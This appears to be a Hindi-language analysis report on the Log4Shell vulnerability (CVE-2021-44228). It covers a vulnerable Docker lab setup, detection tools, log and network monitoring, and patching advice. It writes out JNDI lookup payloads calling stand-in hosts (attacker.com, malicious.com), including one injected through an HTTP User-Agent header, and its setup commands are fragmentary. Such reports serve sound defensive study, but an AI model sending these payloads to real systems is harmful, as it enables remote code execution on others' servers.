
CVE-2021-44228
Igloo Corporation के Won Chihyeon द्वारा Log4shell विश्लेषण रिपोर्ट
CVE-2021-44228 Log4j, Apache Foundation का मुफ्त ओपन-सोर्स Java-आधारित लॉगिंग टूल है, जो सभी Java-आधारित एप्लिकेशन और विभिन्न Java-आधारित सेवाओं के लॉग रिकॉर्ड करता है। यह JNDI डेटा और ऑब्जेक्ट्स की खोज और संदर्भ के लिए Java LDAP 1389 Lookup का उपयोग करता है, तथा JNDI के माध्यम से प्राप्त संसाधनों का उपयोग करने की सुविधा प्रदान करता है।
कमजोर सर्वर चलाने के लिए डॉकर इमेज फ़ाइल डाउनलोड Asudo git clone sudo docker build . -t vulnerable-app वर्तमान निर्देशिका में नई बनाई जाने वाली इमेज के रूप में vulnerable-app नाम से डॉकर इमेज build बनाएं
github.com/welk
अप्रयुक्त कमजोर सर्वर बंद करें docker ps -a चल रहे सभी डॉकर इमेज की जाँच करें डॉकर कंटेनर आईडी की जाँच करें
Log4Shell (CVE-2021-44228) Apache Log4j लाइब्रेरी में पाई गई रिमोट कोड एक्सेक्यूशन (RCE, Remote Code Execution) भेद्यता है।
हमलावर दुर्भावनापूर्ण पेलोड का उपयोग करके मनमाना कोड निष्पादित कर सकता है, जिससे व्यापक क्षति हो सकती है।
यह रिपोर्ट Log4Shell के सिद्धांत, प्रभाव, शोषण के मामलों, पहचान और प्रतिक्रिया के तरीकों का विश्लेषण करती है।
| आइटम | विवरण |
|---|---|
| भेद्यता नाम | Log4Shell |
| CVE नंबर | CVE-2021-44228 |
| भेद्यता प्रकार | रिमोट कोड एक्सेक्यूशन (RCE) |
| प्रभावित संस्करण | Log4j 2.0-beta9 ~ 2.14.1 |
| पैच किया गया संस्करण | Log4j 2.15.0 और उससे ऊपर |
| हमले की कठिनाई | कम (केवल सरल स्ट्रिंग इनपुट से शोषण संभव) |
| गंभीरता | 🔥 गंभीर (CVSS 10.0) |
Log4Shell JNDI (Java Naming and Directory Interface) लुकअप सुविधा की भेद्यता का उपयोग करके हमलावर को दूरस्थ सर्वर पर दुर्भावनापूर्ण कोड निष्पादित करने में सक्षम बनाता है।
हमलावर केवल निम्नलिखित स्ट्रिंग को लॉग में छोड़कर भी भेद्यता का शोषण कर सकता है।
${jndi:ldap://attacker.com:1389/exploit}
Log4Shell भेद्यता ने Log4j का उपयोग करने वाले कई उद्यमों और सेवाओं को प्रभावित किया है।
हमलावर Minecraft चैट में निम्नलिखित स्ट्रिंग दर्ज करके सर्वर पर कब्ज़ा कर सकते थे।
shell कॉपी करें संपादित करें ${jndi:ldap://attacker.com:1389/exploit}
जब सर्वर इसे लॉग में रिकॉर्ड करता है, तो JNDI Lookup के माध्यम से हमलावर के सर्वर पर दुर्भावनापूर्ण कोड निष्पादित होता है।
HTTP अनुरोध के User-Agent, Referer, X-Forwarded-For आदि लॉग में दर्ज होने वाले फ़ील्ड में दुर्भावनापूर्ण पेलोड डाला जाता है। उदाहरण:
css कॉपी करें संपादित करें GET / HTTP/1.1 Host: victim.com User-Agent: ${jndi:ldap://malicious.com:1389/exploit}
✅ सुरक्षा स्कैनर का उपयोग
log4j-scan (https://github.com/fullhunt/log4j-scan) log4shell-detector (https://github.com/Neo23x0/log4shell-detector)
✅ लॉग फ़ाइलों की जाँच
लॉग में ${jndi:ldap://...} जैसा पैटर्न मिलने पर तुरंत प्रतिक्रिया देना आवश्यक है।
✅ नेटवर्क मॉनिटरिंग
असामान्य LDAP, RMI अनुरोधों की जाँच करें।
✅ तत्काल उपाय
Log4j को 2.15.0 या उससे ऊपर के संस्करण में अपग्रेड करें। Java चलाते समय पर्यावरण चर सेट करें:
shell कॉपी करें संपादित करें -Dlog4j2.formatMsgNoLookups=true
फ़ायरवॉल और IDS/IPS में jndi:ldap:// पैटर्न ब्लॉक करें।
✅ दीर्घकालिक सुरक्षा उपाय
JNDI उपयोग प्रतिबंधित करें और सुरक्षा नीतियाँ मजबूत करें। WAF (वेब एप्लिकेशन फ़ायरवॉल) लागू करें। नियमित सुरक्षा जाँच और भेद्यता स्कैनिंग करें।
| Log4j संस्करण | प्रतिक्रिया उपाय |
|---|---|
| 2.0-beta9 ~ 2.14.1 | कमजोर, अपडेट आवश्यक |
| 2.15.0 | डिफ़ॉल्ट रूप से JNDI Lookup अक्षम |
| 2.16.0 | JNDI सुविधा पूरी तरह हटाई गई |
| 2.17.0 | अतिरिक्त सुरक्षा सुदृढ़ीकरण उपाय |
✅ नवीनतम संस्करण (2.17.1 या उससे ऊपर) में अपडेट करने की अनुशंसा की जाती है!
Log4Shell (CVE-2021-44228) को हाल के वर्षों की सबसे गंभीर सुरक्षा भेद्यताओं में से एक माना जाता है। ✅ कमजोर सिस्टम को तुरंत पैच करना और निरंतर सुरक्षा निगरानी करना अनिवार्य है। ✅ Log4j का उपयोग करने वाले सभी एप्लिकेशनों में सुरक्षा जाँच की जानी चाहिए।